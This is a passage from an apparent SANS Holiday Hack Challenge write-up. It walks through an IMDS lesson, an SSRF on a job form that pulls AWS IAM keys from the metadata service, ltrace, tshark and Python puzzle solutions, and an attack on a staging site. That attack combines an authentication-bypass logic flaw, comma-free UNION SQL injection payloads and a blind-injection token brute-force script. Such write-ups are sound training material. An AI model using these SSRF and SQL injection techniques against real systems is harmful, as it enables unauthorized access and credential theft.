elfu@52bd7db1db49:~$ curl http://169.254.169.254/latest/meta-data
ami-id
ami-launch-index
ami-manifest-path
[snip]
public-hostname
public-ipv4
public-keys/0/openssh-key
reservation-id
security-groups
services/domain
services/partition
spot/instance-action
spot/termination-time

By accessing the metadata elements, a developer can interrogate information about the system. Take a look at the public-hostname element: 'curl http://169.254.169.254/latest/meta-data/public-hostname'

elfu@52bd7db1db49:~$ curl http://169.254.169.254/latest/meta-data/public-hostname
ec2-192-0-2-54.compute-1.amazonaws.com

Many of the data elements returned won't include a trailing newline, which causes the response to blend into the prompt. Re-run the prior command, adding '; echo' to the end of the command. This will add a new line character to the response.

elfu@52bd7db1db49:~$ curl http://169.254.169.254/latest/meta-data/public-hostname; echo
ec2-192-0-2-54.compute-1.amazonaws.com

There is a whole lot of information that can be retrieved from the IMDS server. Even AWS Identity and Access Management (IAM) credentials! Request the endpoint 'http://169.254.169.254/latest/meta-data/iam/security-credentials' to see the instance IAM role.

elfu@52bd7db1db49:~$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials
elfu-deploy-role

Once you know the role name, you can request the AWS keys associated with the role. Request the endpoint 'http://169.254.169.254/latest/meta-data/iam/security-credentials/elfu-deploy-role' to get the instance AWS keys.

elfu@52bd7db1db49:~$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/elfu-deploy-role
{
        "Code": "Success",
        "LastUpdated": "2021-12-02T18:50:40Z",
        "Type": "AWS-HMAC",
        "AccessKeyId": "AKIA5HMBSK1SYXYTOXX6",
        "SecretAccessKey": "CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX",
        "Token": "NR9Sz/7fzxwIgv7URgHRAckJK0JKbXoNBcy032XeVPqP8/tWiR/KVSdK8FTPfZWbxQ==",
        "Expiration": "2026-12-02T18:50:40Z"
}

Let's remember these last two requests, they may come in handy (wink wink nudge nudge).

So far, we've been interacting with the IMDS server using IMDSv1, which does not require authentication. Optionally, AWS users can turn on IMDSv2 that requires authentication. This is more secure, but not on by default.

For IMDSv2 access, you must request a token from the IMDS server using the X-aws-ec2-metadata-token-ttl-seconds header to indicate how long you want the token to be used for (between 1 and 21,600 secods). Examine the contents of the 'gettoken.sh' script in the current directory using 'cat'.

elfu@52bd7db1db49:~$ cat gettoken.sh
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`

This script will retrieve a token from the IMDS server and save it in the environment variable TOKEN. Import it into your environment by running 'source gettoken.sh'.

elfu@52bd7db1db49:~$ source gettoken.sh
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    44  100    44    0     0  44000      0 --:--:-- --:--:-- --:--:-- 44000

Now, the IMDS token value is stored in the environment variable TOKEN. Examine the contents of the token by running 'echo $TOKEN'.

elfu@52bd7db1db49:~$ echo $TOKEN
Uv38ByGCZU8WP18PmmIdcpVmx00QA3xNe7sEB9Hixkk=

With the IMDS token, you can make an IMDSv2 request by adding the X-aws-ec2-metadata-token header to the curl request. Access the metadata region information in an IMDSv2 request: 'curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/placement/region'

elfu@52bd7db1db49:~$ curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/placement/region
np-north-1

🍬🍬🍬🍬Congratulations!🍬🍬🍬🍬 You've completed the lesson on Instance Metadata interaction.

Now Hiring!

We're told to take a look at Jack Frost's job application webapp. Let's take a look at the form:

The most interesting field in this form is the URL to the NLBI report. Indeed, if the application is vulnerable to SSRF, we could request a sensitive URL, such as the IMDS URL we learned about in the last Cranberry Pi challenge.

Let's try specifying the URL to get the role name of the instance, http://169.254.169.254/latest/meta-data/iam/security-credentials.

Our submission was accepted. But what's this? There seems to be a broken image in the middle of the page. Let's check our Burp proxy history to see what's the deal, yo!

GET /images/useless.jpg HTTP/1.1
Host: apply.jackfrosttower.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: image/avif,image/webp,*/*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://apply.jackfrosttower.com/?inputName=useless&inputEmail=nunya%40business.com&inputPhone=0&inputField=Aggravated+pulling+of+hair&resumeFile=&inputWorkSample=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials&additionalInformation=&submit=
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Te: trailers

HTTP/1.1 200 OK
Server: nginx/1.16.1
Date: Wed, 29 Dec 2021 17:40:01 GMT
Content-Type: image/jpeg
Content-Length: 14
Last-Modified: Wed, 29 Dec 2021 17:40:01 GMT
Etag: "61cc9d71-e"
Expires: Mon, 03 Jan 2022 17:40:01 GMT
Cache-Control: max-age=432000
Accept-Ranges: bytes
Via: 1.1 google
Alt-Svc: clear

jf-deploy-role

The webapp tried to create an image with our name, with the content of the URL we gave it. In that case, the IMDS URL to get the role name, which seems to be jf-deploy-role. We got our role name, which means we can now get the secret access key, using this URL: http://169.254.169.254/latest/meta-data/iam/security-credentials/jf-deploy-role

Let's send out another form with this URL, and download the generated "image":

GET /images/useless2.jpg HTTP/1.1
Host: apply.jackfrosttower.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: image/avif,image/webp,*/*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://apply.jackfrosttower.com/?inputName=useless2&inputEmail=nunya%40business.com&inputPhone=0&inputField=Aggravated+pulling+of+hair&resumeFile=&inputWorkSample=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2Fjf-deploy-role&additionalInformation=&submit=
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Te: trailers

HTTP/1.1 200 OK
Server: nginx/1.16.1
Date: Wed, 29 Dec 2021 17:45:23 GMT
Content-Type: image/jpeg
Content-Length: 308
Last-Modified: Wed, 29 Dec 2021 17:45:23 GMT
Etag: "61cc9eb3-134"
Expires: Mon, 03 Jan 2022 17:45:23 GMT
Cache-Control: max-age=432000
Accept-Ranges: bytes
Via: 1.1 google
Alt-Svc: clear

{
    "Code": "Success",
    "LastUpdated": "2021-05-02T18:50:40Z",
    "Type": "AWS-HMAC",
    "AccessKeyId": "AKIA5HMBSK1SYXYTOXX6",
    "SecretAccessKey": "CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX",
    "Token": "NR9Sz/7fzxwIgv7URgHRAckJK0JKbXoNBcy032XeVPqP8/tWiR/KVSdK8FTPfZWbxQ==",
    "Expiration": "2026-05-02T18:50:40Z"
}

Alright, we got our secret access key, CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX!

Objective 11:

Tinsel Upatree's Cranberry Pi Challenge

Tinsel Upatree needs help restarting the cotton candy machine. There is an executable, called make_the_candy, but if we launch it, we only get an error:

kotton_kandy_co@1c9754cf5e81:~$ ./make_the_candy
Unable to open configuration file.

The challenge is called "Strace ltrace", in reference to the two programs called strace (which traces system calls) and ltrace (which traces library calls).

Let's try running make_the_candy with ltrace:

kotton_kandy_co@1c9754cf5e81:~$ ltrace ./make_the_candy
fopen("registration.json", "r")                           = 0
puts("Unable to open configuration fil"...Unable to open configuration file.
)               = 35
+++ exited (status 1) +++

Apparently, the program tries to open a file called registration.json, and since no such file exists, it exits with the previous error message.

Let's create an empty file with the proper name to see what happens:

kotton_kandy_co@1c9754cf5e81:~$ echo > registration.json
kotton_kandy_co@1c9754cf5e81:~$ ltrace ./make_the_candy
fopen("registration.json", "r")                           = 0x561fddf07260
getline(0x7fff4cc17940, 0x7fff4cc17948, 0x561fddf07260, 0x7fff4cc17948) = 1
strstr("\n", "Registration")                              = nil
getline(0x7fff4cc17940, 0x7fff4cc17948, 0x561fddf07260, 0x7fff4cc17948) = -1
puts("Unregistered - Exiting."Unregistered - Exiting.
)                           = 24
+++ exited (status 1) +++

Now it seems to be searching for the string Registration. Let's add it to our file:

kotton_kandy_co@1c9754cf5e81:~$ echo Registration > registration.json
kotton_kandy_co@1c9754cf5e81:~$ ltrace ./make_the_candy
fopen("registration.json", "r")                           = 0x55bd9eaf8260
getline(0x7ffef26245b0, 0x7ffef26245b8, 0x55bd9eaf8260, 0x7ffef26245b8) = 13
strstr("Registration\n", "Registration")                  = "Registration\n"
strchr("Registration\n", ':')                             = nil
getline(0x7ffef26245b0, 0x7ffef26245b8, 0x55bd9eaf8260, 0x7ffef26245b8) = -1
puts("Unregistered - Exiting."Unregistered - Exiting.
)                           = 24
+++ exited (status 1) +++

Now it seems to be searching for the character :. So let's add it as well:

kotton_kandy_co@1c9754cf5e81:~$ echo Registration: > registration.json
kotton_kandy_co@1c9754cf5e81:~$ ltrace ./make_the_candy
fopen("registration.json", "r")                           = 0x561922134260
getline(0x7ffde0d995f0, 0x7ffde0d995f8, 0x561922134260, 0x7ffde0d995f8) = 14
strstr("Registration:\n", "Registration")                 = "Registration:\n"
strchr("Registration:\n", ':')                            = ":\n"
strstr(":\n", "True")                                     = nil
getline(0x7ffde0d995f0, 0x7ffde0d995f8, 0x561922134260, 0x7ffde0d995f8) = -1
puts("Unregistered - Exiting."Unregistered - Exiting.
)                           = 24
+++ exited (status 1) +++

Now it's looking for True, so let's add it (I can do this all day!):

kotton_kandy_co@1c9754cf5e81:~$ echo Registration:True > registration.json
kotton_kandy_co@1c9754cf5e81:~$ ltrace ./make_the_candy
fopen("registration.json", "r")                           = 0x555b0cfe6260
getline(0x7ffd2917d140, 0x7ffd2917d148, 0x555b0cfe6260, 0x7ffd2917d148) = 18
strstr("Registration:True\n", "Registration")             = "Registration:True\n"
strchr("Registration:True\n", ':')                        = ":True\n"
strstr(":True\n", "True")                                 = "True\n"
getline(0x7ffd2917d140, 0x7ffd2917d148, 0x555b0cfe6260, 0x7ffd2917d148) = -1
system("/bin/initialize_cotton_candy_sys"...


Launching...
[snip]
Candy making in progress

 <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                    = 0
fclose(0x555b0cfe6260)                                    = 0
+++ exited (status 0) +++

We managed to launch the cotton candy machine!

Customer Complaint Analysis

Apparently, a human accessed the Jack Frost Tower network with a non-compliant host. Here's troll Pat Tronizer explaining the situation to us:

Pat Tronizer says

Hrmph. Oh hey, I'm Pat Tronizer.

I'm SO glad to have all these first-rate talks here.

We issued a Call for Talks, but only one person responded… We put him in track 1.

But Jack came up with an ingenious way to borrow additional talks for FrostFest! You can hardly tell where we got these great speakers!

Anyway, I cannot believe an actual human connected to the Tower network. It’s supposed to be the domain of us trolls and of course Jack Frost himself.

Mr. Frost has a strict policy: all devices must be RFC3514 compliant. It fits in with our nefarious plans.

Some human had the nerve to use our complaint website to submit a complaint!

That website is for trolls to complain about guests, NOT the other way around.

Humans have some nerve.

Alright, apart from admitting that FrostFest just copies the talks from KringleCon, we learn that all trolls use RFC3514-compliant devices. This RFC is an April Fools RFC, introducing the so-called "evil bit" in the IPv4 header. Nefarious packets will have the evil bit set to 1. Innocuous packets will have this bit set to 0. So, which bit is it? Let's simply read the RFC:

The high-order bit of the IP fragment offset field is the only unused bit in the IP header.

The evil bit is therefore the most significant bit in the IP fragment flags. Let's take a look at the network capture in Wireshark:

We can see that the most-significant bit is set to 1, indicating evil purposes! We can also see that the name of this bit, which we can use to create filters, is ip.flags.rb (where rb stands for reserved bit).

Alright, let's find our human in the traffic, using tshark.

Now, a human would most likely have this bit set to 0, since it's the default value. So let's filter using that: ip.flags.rb == 0.

In the network capture, we can also see a bunch of HTTP traffic, so let's extract this also: -T fields -e http.file_data.

Here's our final command, with some prettyfying done at the end:

$ tshark -r jackfrosttower-network.pcap -T fields -e http.file_data "ip.flags.rb == 0" | tr '+&' ' \n' | sort -u

description=I have never%2C in my life%2C been in a facility with such a horrible staff. They are rude and insulting. What kind of place is this%3F You can be sure that I %28or my lawyer%29 will be speaking directly with Mr. Frost%21
guest_info=Room 1024
name=Muffy VonDuchess Sebastian
submit=Submit
troll_id=I don%27t know. There were several of them.

Sounds like the human is Muffy VonDuchess Sebastian, who is staying in room 1024. We can use this to build our filter to find the trolls who complained about Ms. Sebastian.

This time, we want the evil bit set to 1. We also want the value posted to the complaint website to contains Ms. Sebastian's room number. This gives us the following filter: ip.flags.rb == 1 && urlencoded-form.value contains "1024".

Now, the name of the troll doing the complaint seems to be stored in a parameter called name, so will filter our output using grep name. We'll then use cut to get just the names. We'll then sort them so they're in alphabetical order, and use paste to get them on just one line:

$ tshark -r jackfrosttower-network.pcap -T fields -e http.file_data 'ip.flags.rb == 1 && urlencoded-form.value contains "1024"' | tr '+&' ' \n' | grep name | cut -d '=' -f 2 | sort | paste -s -d' '
Flud Hagg Yaqh

The trolls are called Flud, Hagg, and Yaqh.

Objective 12:

Ribb Bonbowford's Cranberry Pi Challenge

Ribb Bonbowford wants our help to solve this coding challenge. Basically, we can use Python 3 to move an elf around. They must collect every lollipop before entering the castle. There are several other elements:

Obstacles: these are just barrels standing in the way, your elf can't get past them.
Yeeters: these are some kind of big springs that will yeet your elf off the map.
Pits: they are holes in the ground that your elf can fall into.
Levers: you can activate them to disable yeeters or pits.
Munchkins: they are natural enemies to elves. However, if your elf can answer their question correctly, they will let them pass.

Level 0 is just a demo, so I'll skip it. Knowing all that, let's code!

Level 1

Alright, looks pretty simple. We can use elf.moveTo to go to coordinates (2, 2). According to the documentation, elf.moveTo works simply by moving the elf along the X axis, and then to the Y axis. Since the map is empty, we can use it to get to the castle doors and pick the lollipop on the way.

import elf, munchkins, levers, lollipops, yeeters, pits
elf.moveTo({'x': 2,'y': 2})

Level 2

Now, there are obstacles in the way, forming some sort of maze. Luckily, the lollipops are placed in such a way, that we can use elf.moveTo to get to both of them before going to the castle gate.

import elf, munchkins, levers, lollipops, yeeters, pits
elf.moveTo(lollipops.get(1).position)
elf.moveTo(lollipops.get(0).position)
elf.moveTo({'x': 2, 'y': 2})

Level 3

This time, we have to activate the lever to disarm the yeeter. If we look at what data we must send to the lever, the doc tells us that the lever gives us an integer, and that we must add 2 to this integer and then return it:

import elf, munchkins, levers, lollipops, yeeters, pits
lever0 = levers.get(0)
lollipop0 = lollipops.get(0)
elf.moveTo(lever0.position)
lever0.pull(lever0.data()+2)
elf.moveTo(lollipop0.position)
elf.moveUp(10)

Level 4

This time, we have to activate five levers to disarm the yeeter. By reading the doc, we know that:

Lever #0 wants any dictionary object
Lever #1 wants any list object
Lever #2 wants any integer
Lever #3 wants any boolean value
Lever #4 wants any string

We can create an list of answers, indexed by the lever id. Then, we go to each lever, down from #4 to #0, and send them the answer they want:

import elf, munchkins, levers, lollipops, yeeters, pits

answers = [dict(), list(), 1337, True, "w00t"]

for i in range(4, -1, -1):
    elf.moveTo(levers.get(i).position)
    levers.get(i).pull(answers[i])
elf.moveUp(2)

Level 5

Alright, the setup is the same as the previous level, but now the doc tells us that:

Lever #0 will give us a dictionary, to which we must add the "strkey":"strvalue" key/value pair.
Lever #1 will give us a list to which we must append the integer 1.
Lever #2 will give us an integer that we must increment by 1.
Lever #3 will give us a boolean value that we must invert.
Lever #4 will give us a string that must concatenate with string :code:` concatenante`.

We can take the same approach as with level 4, but this time we create a list of lambda functions that we can call with the data sent by each lever.

They're all pretty straightforward, except lever 0. I did not find an easy way to append data to a dictionary. I first tried using {**d, 'strkey':'strvalue'}. It did work in my Python console, but was not accepted by the level. I then tried using dict(**d, strkey='strvalue'). That was accepted by the level, but the new key/value pair was added at the "beginning" of the dictionary, whereas it should be added at the "end". Python dictionaries are not ordered so I don't know why the level was complaining.

Anyway, I used this dirty hack where I create a tuple. In the first part of the tuple, I call d.update. This will add the desired key/value pair, but returns nothing, since it updates the dictionary in place. In the second part of the tuple, I put my updated dictionary d. I then get the second part of the tuple by accessing index 1, which will give me my updated dictionary. It's dirty, but it works.

import elf, munchkins, levers, lollipops, yeeters, pits

answers = [
    lambda d: (d.update({'strkey': 'strvalue'}), d)[1],
    lambda l: l+[1],
    lambda i: i+1,
    lambda b: not b,
    lambda s: s+' concatenate'
]

for i in range(4, -1, -1):
    elf.moveTo(levers.get(i).position)
    answer = answers[i](levers.get(i).data())
    levers.get(i).pull(answer)

elf.moveUp(2)

Level 6

This time, there's only one lever. According to the level doc, the lever can give us different types of data:

If it gives us a boolean, we must invert it.
If it gives us an integer, we must double it.
If it gives us a list, this will be a list of integers: we must return a list with each integer incremented by 1.
If it gives us a string, we must concatenate it with itself.
If it gives us a dictionary, we must increment the value of key a by 1.

import elf, munchkins, levers, lollipops, yeeters, pits
lever = levers.get(0)
data = lever.data()
if type(data) == bool:
    data = not data
elif type(data) == int:
    data = data * 2
elif type(data) == list:
    data = [x+1 for x in data]
elif type(data) == str:
    data = 2*data
else:
    data['a'] += 1

elf.moveTo(lever.position)
lever.pull(data)
elf.moveUp(2)

Level 7

This time, our little elf must wind through the maze, until they finally get to the castle gate. We can use a foor loop, and checking if we're in an even or odd loop to see if we must go up or down.

import elf, munchkins, levers, lollipops, yeeters, pits
for num in range(5):
    elf.moveLeft(3)
    if num % 2 == 0:
        elf.moveUp(11)
    else:
        elf.moveDown(11)

Level 8

Now, our little elf must wind through this maze, and activate the lever to make the Munchkin fall. Alternatively, we can answer the Munchkin's riddle so that they let us pass.

First, let's try the lever option. The lever gives us a list, which we must prepend with the string munchkins rule:

import elf, munchkins, levers, lollipops, yeeters, pits
all_lollipops = lollipops.get()
lever = levers.get(0)
for lollipop in all_lollipops:
    elf.moveTo(lollipop.position)
elf.moveTo(lever.position)
lever.pull(['munchkins rule'] + lever.data())
elf.moveDown(3)
elf.moveLeft(6)
elf.moveUp(2)

Now, let's try answering the Munchkin's riddle. The Munchkin will give us a dictionary object. We must give them the key that holds the value lolippop.

import elf, munchkins, levers, lollipops, yeeters, pits
all_lollipops = lollipops.get()
lever = levers.get(0)
for lollipop in all_lollipops:
    elf.moveTo(lollipop.position)
elf.moveTo({'x': 2, 'y': 4})
d = munchkins.get(0).ask()
for k, v in d.items():
    if v == 'lollipop':
        munchkins.get(0).answer(k)
        break
elf.moveUp(2)

Level 9

Let's go for the bonus levels!

Okay, we must go round our way through this spiral, making sure we don't fall into any pit by activating the levers, and answer the Munchkin's riddle. According to the level doc, we now that:

Each lever wants to be sent its id number, e.g. lever #0 wants to be sent 0, lever #1 wants to be sent 1, and so on.
The Munchkins asks for a function that takes a list as argument, and must return a new list, where each integer in the original list is incremented by 1.

And just for fun, the elf.moveTo function has been disabled just for this level.

The skeleton code given by the level helps us create a loop that will allow our little elf to go through the Yeeter Swirl safely.

import elf, munchkins, levers, lollipops, yeeters, pits

def sum_of_ints(list_of_lists):
    total = 0
    for l in list_of_lists:
        for c in l:
            if type(c) == int:
                total += c
    return total

all_levers = levers.get()
# Create Movement pattern:
moves = [elf.moveDown, elf.moveLeft, elf.moveUp, elf.moveRight] * 2

# We iterate over each move in moves getting an index (i) number that increments by one each time
for i, move in enumerate(moves):
    move(i+1)
    if i < len(all_levers):
        all_levers[i].pull(i)

elf.moveUp(2)
elf.moveLeft(4)
munchkins.get(0).answer(sum_of_ints)
elf.moveUp(1)

Level 10

This is the last bonus level.

We must get through this maze by dodging the patrolling Munchkins. The skeleton code hints that we should wait before the Munchkins are the farthest away from our elf to move. It also tells us that the maximum distance is 6 squares along the X axis. Finally, it tells us that we can use time.sleep(0.05) to wait before moving, so that the browser doesn't go wild in our while loop.

import elf, munchkins, levers, lollipops, yeeters, pits
import time
muns = munchkins.get()
lols = lollipops.get()[::-1]
for index, mun in enumerate(muns):
    while abs(elf.position['x'] - mun.position['x']) < 6:
        time.sleep(0.05)
    elf.moveTo(lols[index].position)
elf.moveTo({'x': 2, 'y': 2})

Elves rule, Munchkins drool 🤘

Frost Tower Website Checkup

We move to Jack's studio, where we find Ingreta Tude.

Ingreta Tude says

Hey there! I’m Ingreta Tude. I really don’t like the direction Jack Frost is leading us.

He seems obsessed with beating Santa and taking over the holiday season. It just doesn’t seem right.

Why can’t we work together with Santa and the elves instead of trying to beat them?

But, I do have an Objective for you. We’re getting ready to launch a new website for Frost Tower, and the big guy has charged me with making sure it’s secure.

My sister, Ruby Cyster, created this site, and I don’t trust the results.

Can you please take a look at it to find flaws?

Here is the source code if you need it.

She asks us to assess the security of the Frost Tower website, and she even gave us the source code.

The main page seems to just be a countdown to Christmas Day. However, by looking at the source code, we see that there is an endpoint at https://staging.jackfrosttower.com/contact:

app.get('/contact', function(req, res, next){
    session = req.session;
    tempCont.query("SELECT * from uniquecontact order by date_created desc", function(error, rows, fields){
        if (error) {
            return res.sendStatus(500);
        }

        var rowdata = rows.length;

        res.render('contact',
            {
                'title': 'Contact Us',
                'strcountry': countrybuf_tostring,
                'rowdata': rowdata,
                'csrfToken': req.csrfToken(),
                'userlogin': session.userfullname
            }
        );

    });
});

This is a simple contact form, where you input your name, email address, phone number, and country, and the application stores all your data so that it can contacts you later (given Jack Frost's profile, I'd say that it's for advertising purposes).

We also see an endpoint called detail that seems to be vulnerable to SQL injections:

app.get('/detail/:id', function(req, res, next) {
    session = req.session;
    var reqparam = req.params['id'];
    var query = "SELECT * FROM uniquecontact WHERE id=";

    if (session.uniqueID){

        try {
            if (reqparam.indexOf(',') > 0){
                var ids = reqparam.split(',');
                reqparam = "0";
                for (var i=0; i<ids.length; i++){
                    query += tempCont.escape(m.raw(ids[i]));
                    query += " OR id="
                }
                query += "?";
            }else{
                query = "SELECT * FROM uniquecontact WHERE id=?"
            }
        } catch (error) {
            console.log(error);
            return res.sendStatus(500);
        }

        tempCont.query(query, reqparam, function(error, rows, fields){

Basically, the endpoint takes a parameter called id. If id is a comma-separated list of indexes, it splits this list and concatenate each index to the query string. Even if it's calling the escape method, we don't need any special characters to break the syntax. This means that escape won't escape anything.

There is unfortunately one small problem: we need to be authenticated to access this functionality. Indeed, the attribute session.uniqueID must be set so that this code block is evaluated. However, by default, session.uniqueID is not set. This means that we need to find a way to bypass authentication.

If we look in the code for lines were session.uniqueID is set, we find an interesting place in an endpoint that is accessible with an unauthenticated user:

app.post('/postcontact', function(req, res, next){
    var fullname = xss( ReplaceAnyMatchingWords(req.body.fullname) );
    var email = xss( ReplaceAnyMatchingWords( req.body.email) );
    var phone = xss( ReplaceAnyMatchingWords( req.body.phone) );
    var country = xss( ReplaceAnyMatchingWords( req.body.country ) );
    var date = new Date();
    var d = date.getDate();
    var mo = date.getMonth();
    var yr = date.getFullYear();
    var current_hour = date.getHours();
    var date_created = dateFormat(date, "yyyy-mm-dd hh:MM:ss");

    tempCont.query("SELECT * from uniquecontact where email="+tempCont.escape(email), function(error, rows, fields){

        if (error) {
            console.log(error);
            return res.sendStatus(500);
        }

        var rowlength = rows.length;
        if (rowlength >= "1"){
            session = req.session;
            session.uniqueID = email;
            req.flash('info', 'Email Already Exists');
            res.redirect("/contact");

When we fill out the contact form, the application checks if the given email address is already stored in the database. If that's the case, then it sends a message saying that the email already exists, and stores this email address in session.uniqueID.

Therefore, if we fill out the contact form with the same email address twice, the application will think that we are authenticated. That's some weird logic error, but hey, I won't complain:

Now, let's try to access an endpoint reserved to authenticated users, such as https://staging.jackfrosttower.com/dashboard:

Alright, we're logged in! Now we can exploit the SQL injection.

I first tried to use the SQL injection to gain administrative access to the dashboard, by listing other users, issuing a password reset request for the admin, and using the SQL injection to read the reset token. This allowed me to log in as root@localhost. Here's the Python code I used:

#!/usr/bin/env python3

import string
import requests

def main():
    charset = string.ascii_letters + string.digits
    token = str()
    url_template = 'https://staging.jackfrosttower.com/detail/1 union select * from users where email="root@localhost" and token like "{}{}%",2'
    cookies = {'_csrf': 'O64M0G273Zx5909x0W4sZHyv', 'connect.sid': 's%3A2ioEFCFp9O1O9AKD12qiLbkF8Uegu2XG.n%2BFy9MLyoVBQ%2F6Z6WlTWJD5npHvtEjDKVCkln3YklzQ'}

    print('Token: ', end='', flush=True)
    while True:
        for c in charset:
            url = url_template.format(token, c)
            r = requests.get(url, cookies=cookies)
            if 'Not found!!' not in r.text:
                print(c, end='', flush=True)
                token += c
                break
            else:
                continue
        else:
            break

    print()

if __name__ == '__main__':
    main()

$ python3 sqli.py
Token: 1xafy85lw5dh5zancif61e8qaghdgbxy

Yay, we are logged in as root@localhost! But we don't care. Indeed, we don't get access to any new information. I almost fell down this rabbit hole this year, but I decided to think outside the box.

(Hello to Janusz Jasinski, noobintheshell, and Chewwie that were writing their write-ups the same time I was writing mine.)

I followed this trail because in the source code that we were given, we have the SQL schema, and only three tables are created: uniquecontact, users, and emails. But there is in fact another table created in the live environment.

We can try and get the list of tables by abusing our UNION-based SQL injection. However, we were lucky in our previous endeavour: the number of columns was the same in the uniquecontact and users tables, therefore we could just use UNION SELECT * in our Python code. However, we won't be so lucky with all the tables we will look up. The problem is that we can't have any commas in our injection syntax: remember that the detail endpoint splits on commas, so that would break our injection syntax.

So I searched how to perform a SQL injection without using commas, and I found this StackExchange answer which gives a working syntax, relying on JOIN statements. It leads to a pretty ugly SQL injection syntax, but it works!

We will inject the id parameter with the following value:

-1 UNION SELECT * FROM (SELECT 1)TB0 JOIN (SELECT table_name FROM information_schema.tables WHERE table_schema="encontact")TB1 JOIN (SELECT 2)TB2 JOIN (SELECT 3)TB3 JOIN (SELECT 4)TB4 JOIN(SELECT 5)TB5 JOIN (SELECT id FROM uniquecontact)TB7 WHERE id=33

You can see that I query for the tables in database encontact in the second JOIN, with the following code:

(SELECT table_name FROM information_schema.tables WHERE table_schema="encontact")TB1

You can also see that I query for an id in uniquecontact in the last JOIN, with the following code:

(SELECT id FROM uniquecontact)TB7 WHERE id=33

This is to make sure that we don't break the end of the "legitimate" SQL syntax. I use id=33 because we can see in the SQL schema that it's the auto increment value, so the record with this ID should exist:

CREATE TABLE `uniquecontact` (
  `id` int(50) NOT NULL AUTO_INCREMENT,
  `full_name` varchar(255) DEFAULT NULL,
  `email` varchar(255) DEFAULT NULL,
  `phone` varchar(50) DEFAULT NULL,
  `country` varchar(255) DEFAULT NULL,
  `date_created` datetime DEFAULT NULL,
  `date_update` datetime DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=33 DEFAULT CHARSET=latin1;

The other JOIN statements are here to make sure that both sides of our UNION have the same number of columns.

The vulnerable code will generate the following SQL query:

SELECT * FROM uniquecontact WHERE id=-1 UNION SELECT * FROM (SELECT 1)TB0 JOIN (SELECT table_name FROM information_schema.tables WHERE table_schema="encontact")TB1 JOIN (SELECT 2)TB2 JOIN (SELECT 3)TB3 JOIN (SELECT 4)TB4 JOIN(SELECT 5)TB5 JOIN (SELECT id FROM uniquecontact)TB7 WHERE id=33 OR id=0 OR id=?

The last OR id=? is added by the code, and this placeholder is binded to a 0, so we don't care about it.

Here's the final URL:

https://staging.jackfrosttower.com/detail/-1%20UNION%20SELECT%20*%20FROM%20(SELECT%201)TB0%20JOIN%20(SELECT%20table_name%20FROM%20information_schema.tables%20WHERE%20table_schema=%22encontact%22)TB1%20JOIN%20(SELECT%202)TB2%20JOIN%20(SELECT%203)TB3%20JOIN%20(SELECT%204)TB4%20JOIN(SELECT%205)TB5%20JOIN%20(SELECT%20id%20FROM%20uniquecontact)TB7%20WHERE%20id=33,0

We put a ,0 at the end to introduce a comma in our parameter, to trigger the SQL injection:

Ha! Just as suspected, an additional table: todo. Given its name, this must be the table were the information we're looking for is stored.

By using the same technique, we can recover the columns of todo:

-1 UNION SELECT * FROM (SELECT 1)TB0 JOIN (SELECT column_name FROM information_schema.columns WHERE table_name="todo")TB1 JOIN (SELECT 2)TB2 JOIN (SELECT 3)TB3 JOIN (SELECT 4)TB4 JOIN(SELECT 5)TB5 JOIN (SELECT id FROM uniquecontact)TB7 WHERE id=33,0

Now you can see that we select the column name with the following request in the second JOIN statement:

SELECT column_name FROM information_schema.columns WHERE table_name="todo"

Here's the URL:

https://staging.jackfrosttower.com/detail/-1%20UNION%20SELECT%20*%20FROM%20(SELECT%201)TB0%20JOIN%20(SELECT%20column_name%20FROM%20information_schema.columns%20WHERE%20table_name=%22todo%22)TB1%20JOIN%20(SELECT%202)TB2%20JOIN%20(SELECT%203)TB3%20JOIN%20(SELECT%204)TB4%20JOIN(SELECT%205)TB5%20JOIN%20(SELECT%20id%20FROM%20uniquecontact)TB7%20WHERE%20id=33,0

Now we know the names of todo's columns: id, note, and completed. With that, we can finally get the content of the table, with the following syntax:

-1 UNION SELECT * FROM (SELECT 1)TB0 JOIN (SELECT note FROM todo)TB1 JOIN (SELECT 2)TB2 JOIN (SELECT 3)TB3 JOIN (SELECT 4)TB4 JOIN(SELECT 5)TB5 JOIN (SELECT id FROM uniquecontact)TB7 WHERE id=33,0

Here's the URL:

https://staging.jackfrosttower.com/detail/-1%20UNION%20SELECT%20*%20FROM%20(SELECT%201)TB0%20JOIN%20(SELECT%20note%20FROM%20todo)TB1%20JOIN%20(SELECT%202)TB2%20JOIN%20(SELECT%203)TB3%20JOIN%20(SELECT%204)TB4%20JOIN(SELECT%205)TB5%20JOIN%20(SELECT%20id%20FROM%20uniquecontact)TB7%20WHERE%20id=33,0

Sneaky Jack Frost wants to give Santa a job as a clerk.

Objective 13:

Grody Goiterson's Cranberry Pi Challenge

Apparently, the elevator is out of order.

Grody Goiterson says

Hrmph. Snrack! Pthbthbthb.

Gnerphk. Well, on to business.

I'm Grody Goiterson. ... It's a family name.

So hey, this is the Frostavator. It runs on some logic chips... that fell out.

I put them back in, but I must have mixed them up, because it isn't working now.

